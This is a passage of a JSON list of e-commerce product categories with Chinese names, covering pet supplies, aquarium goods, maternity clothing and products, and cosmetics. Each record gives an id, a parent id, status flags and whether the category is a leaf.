},{"id":25231,"name":"狗厕所","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25243,"name":"脚掌滋润/防滑/护理","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25239,"name":"口腔清洁","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25224,"name":"毛巾/浴巾/吸水毛巾","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25220,"name":"猫砂","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25232,"name":"猫砂铲","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25238,"name":"猫砂盆/猫厕所","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25237,"name":"美容服","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25235,"name":"美容剪","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25236,"name":"美容台","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25223,"name":"尿片/尿垫/护垫","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25218,"name":"排梳","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25229,"name":"拾便器","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25242,"name":"香波浴液","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25226,"name":"香水/除味剂","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25225,"name":"洗澡/按摩刷","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25219,"name":"牙具","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25240,"name":"眼部清洁","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25222,"name":"浴池/浴盆","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25234,"name":"粘毛器","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25221,"name":"针梳","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25230,"name":"指甲剪","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25244,"name":"其他美容清洁用品","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25199,"name":"背包/箱包","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25196,"name":"杯子","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28067,"name":"宠物安全扣","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25210,"name":"宠物车载垫","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25211,"name":"宠物车载笼","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27982,"name":"宠物垫","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25217,"name":"宠物汽车安全带","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25209,"name":"宠物推车","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25194,"name":"床/垫/沙发(新)","parent_cid":20679,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":25200,"name":"储粮桶","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25208,"name":"电热板/电热毯","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25213,"name":"更多日用品","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25203,"name":"航空箱","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25212,"name":"家用牵引带","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25197,"name":"笼子","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25201,"name":"散热板","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25191,"name":"勺","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25192,"name":"碗","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25193,"name":"窝/屋/帐篷","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25198,"name":"项圈","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25204,"name":"训练器","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25207,"name":"饮水器/水壶/水头","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25205,"name":"诱导剂","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25215,"name":"语言翻译机","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25202,"name":"止吠器","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25216,"name":"专业比赛牵引带","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25206,"name":"追踪器","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25214,"name":"自动喂食器","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25195,"name":"嘴套","parent_cid":20679,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25184,"name":"逗猫棒","parent_cid":20678,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25187,"name":"发声玩具","parent_cid":20678,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25180,"name":"飞盘","parent_cid":20678,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25181,"name":"漏食球","parent_cid":20678,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25183,"name":"猫爬架","parent_cid":20678,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25182,"name":"猫抓板","parent_cid":20678,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25189,"name":"绳结玩具","parent_cid":20678,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25190,"name":"丝瓜络玩具","parent_cid":20678,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25188,"name":"套装玩具","parent_cid":20678,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25185,"name":"橡胶球/球形玩具","parent_cid":20678,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25186,"name":"其它玩具","parent_cid":20678,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25247,"name":"绷带","parent_cid":20682,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25245,"name":"钳","parent_cid":20682,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25248,"name":"试纸","parent_cid":20682,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25249,"name":"体温计","parent_cid":20682,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25246,"name":"其他","parent_cid":20682,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25301,"name":"猫罐头","parent_cid":20695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25302,"name":"猫零食","parent_cid":20695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25306,"name":"妙鲜包/袋/条","parent_cid":20695,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25284,"name":"鸟笼","parent_cid":20691,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25285,"name":"鸟食","parent_cid":20691,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25286,"name":"鸟用具(新)","parent_cid":20691,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":25258,"name":"蚂蚁工坊","parent_cid":20684,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25256,"name":"爬虫/鸣虫食物","parent_cid":20684,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25255,"name":"爬虫/鸣虫用具","parent_cid":20684,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25261,"name":"散装猫主粮","parent_cid":20685,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25260,"name":"散装犬主粮","parent_cid":20685,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25268,"name":"除藻剂","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25270,"name":"观赏龟/鳖饲料","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25280,"name":"观赏虾蟹等饲料","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25275,"name":"观赏鱼饲料","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25267,"name":"龟/鳖","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25269,"name":"黑水素","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25262,"name":"PH调节剂","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25272,"name":"水族服务","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25273,"name":"硝化细菌","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25266,"name":"鱼","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25282,"name":"鱼缸等水族设备","parent_cid":20690,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":25276,"name":"鱼缸净水剂","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25281,"name":"鱼缸水质稳定剂","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25274,"name":"其他益生菌","parent_cid":20690,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25296,"name":"草架","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25290,"name":"厕所","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25291,"name":"垫料","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25292,"name":"服饰","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25295,"name":"脚垫","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25294,"name":"笼子","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25297,"name":"食盆","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25288,"name":"兔绳","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25309,"name":"兔兔干草","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25311,"name":"兔兔零食","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25310,"name":"兔兔磨牙","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25308,"name":"兔兔主粮","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25293,"name":"玩具","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25300,"name":"饮水器","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25289,"name":"其他","parent_cid":20692,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25278,"name":"其它宠物粮食","parent_cid":20689,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25277,"name":"其它宠物用具","parent_cid":20689,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25971,"name":"(文胸-内裤)套装","parent_cid":20900,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25973,"name":"背扣","parent_cid":20900,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25975,"name":"哺乳文胸","parent_cid":20900,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25972,"name":"内裤","parent_cid":20900,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25974,"name":"生理裤/产检裤","parent_cid":20900,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25976,"name":"胸垫插片","parent_cid":20900,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25941,"name":"哺乳枕","parent_cid":20896,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25956,"name":"防溢乳垫","parent_cid":20896,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25969,"name":"母乳储存保鲜","parent_cid":20896,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25920,"name":"产妇帽","parent_cid":20892,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25930,"name":"产妇头巾","parent_cid":20892,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25929,"name":"孕妇袜/连裤袜/打底袜","parent_cid":20892,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25921,"name":"孕妇鞋","parent_cid":20892,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25957,"name":"产妇护垫","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25966,"name":"产妇卫生巾","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25958,"name":"成人尿裤","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25943,"name":"待产包","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25944,"name":"护腰枕","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25949,"name":"看护垫/一次性床垫","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25945,"name":"清洁棉","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25948,"name":"托腹带/保胎带","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25970,"name":"一次性马桶垫纸","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25965,"name":"一次性内裤","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25939,"name":"孕产妇湿巾","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25961,"name":"孕妇马桶/座便器","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25938,"name":"其它","parent_cid":20898,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25903,"name":"防辐射布料","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25900,"name":"防辐射吊带","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25906,"name":"防辐射肚兜/护胎宝","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25895,"name":"防辐射卡","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25899,"name":"防辐射口罩","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25905,"name":"防辐射马甲","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25904,"name":"防辐射面罩","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25898,"name":"防辐射内裤","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25896,"name":"防辐射裙","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25907,"name":"防辐射手机袋/卡袋","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25902,"name":"防辐射套装","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25901,"name":"防辐射围裙","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25897,"name":"其它防辐射","parent_cid":20888,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25931,"name":"哺乳吊带","parent_cid":20893,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25928,"name":"哺乳衣/月子服","parent_cid":20893,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25933,"name":"家居服上装","parent_cid":20893,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25934,"name":"家居服套装","parent_cid":20893,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25924,"name":"家居裤","parent_cid":20893,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25922,"name":"家居袍","parent_cid":20893,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25923,"name":"家居裙","parent_cid":20893,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25919,"name":"秋裤","parent_cid":20893,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25918,"name":"秋衣","parent_cid":20893,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25935,"name":"秋衣裤套装","parent_cid":20893,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25917,"name":"其它","parent_cid":20893,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25968,"name":"乳房护理套装","parent_cid":20895,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25953,"name":"乳房精华","parent_cid":20895,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25954,"name":"乳房精油","parent_cid":20895,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25963,"name":"乳房冷热敷","parent_cid":20895,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25952,"name":"乳房喷雾","parent_cid":20895,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25951,"name":"乳房乳霜","parent_cid":20895,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25962,"name":"乳头保护罩","parent_cid":20895,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25950,"name":"乳头矫正","parent_cid":20895,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25955,"name":"乳晕护理","parent_cid":20895,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25927,"name":"骨盆带","parent_cid":20894,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25926,"name":"束腹带","parent_cid":20894,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25937,"name":"塑身分体套装","parent_cid":20894,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25925,"name":"塑身裤","parent_cid":20894,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25936,"name":"塑身连体衣","parent_cid":20894,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25932,"name":"塑身上衣","parent_cid":20894,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25908,"name":"吸奶器","parent_cid":20889,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25909,"name":"吸奶器配件","parent_cid":20889,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25960,"name":"通乳产品","parent_cid":20899,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25946,"name":"月乃汤","parent_cid":20899,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25947,"name":"月子餐","parent_cid":20899,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25959,"name":"月子米酒","parent_cid":20899,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25967,"name":"月子食用油","parent_cid":20899,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25940,"name":"其它","parent_cid":20899,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32007,"name":"粉饼/气垫","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32009,"name":"粉底液/膏","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32011,"name":"高光/修容","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32010,"name":"隔离/妆前","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32016,"name":"睫毛膏/睫毛增长液","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32006,"name":"蜜粉/散粉","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32012,"name":"素颜霜","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32015,"name":"眼线","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32014,"name":"眼影","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25977,"name":"孕产妇bb霜","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25987,"name":"孕产妇彩妆套装","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25981,"name":"孕产妇唇膏/口红","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25983,"name":"孕产妇眉笔/眉粉/眉膏","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25982,"name":"孕产妇腮红/胭脂","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25980,"name":"孕产妇卸妆","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32008,"name":"遮瑕","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32013,"name":"指甲油/美甲产品","parent_cid":20903,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25996,"name":"唇部护理","parent_cid":20904,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":25998,"name":"淡疤护理","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25994,"name":"防晒/隔离","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25995,"name":"化妆水/爽肤水","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25990,"name":"洁面","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26001,"name":"美容胶带","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26005,"name":"面部精华","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26004,"name":"面部套装","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25992,"name":"面膜","parent_cid":20904,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":26006,"name":"妊娠纹护理","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25993,"name":"乳液/面霜","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25997,"name":"手部护理","parent_cid":20904,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":26002,"name":"腿脚舒缓","parent_cid":20904,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26000,"name":"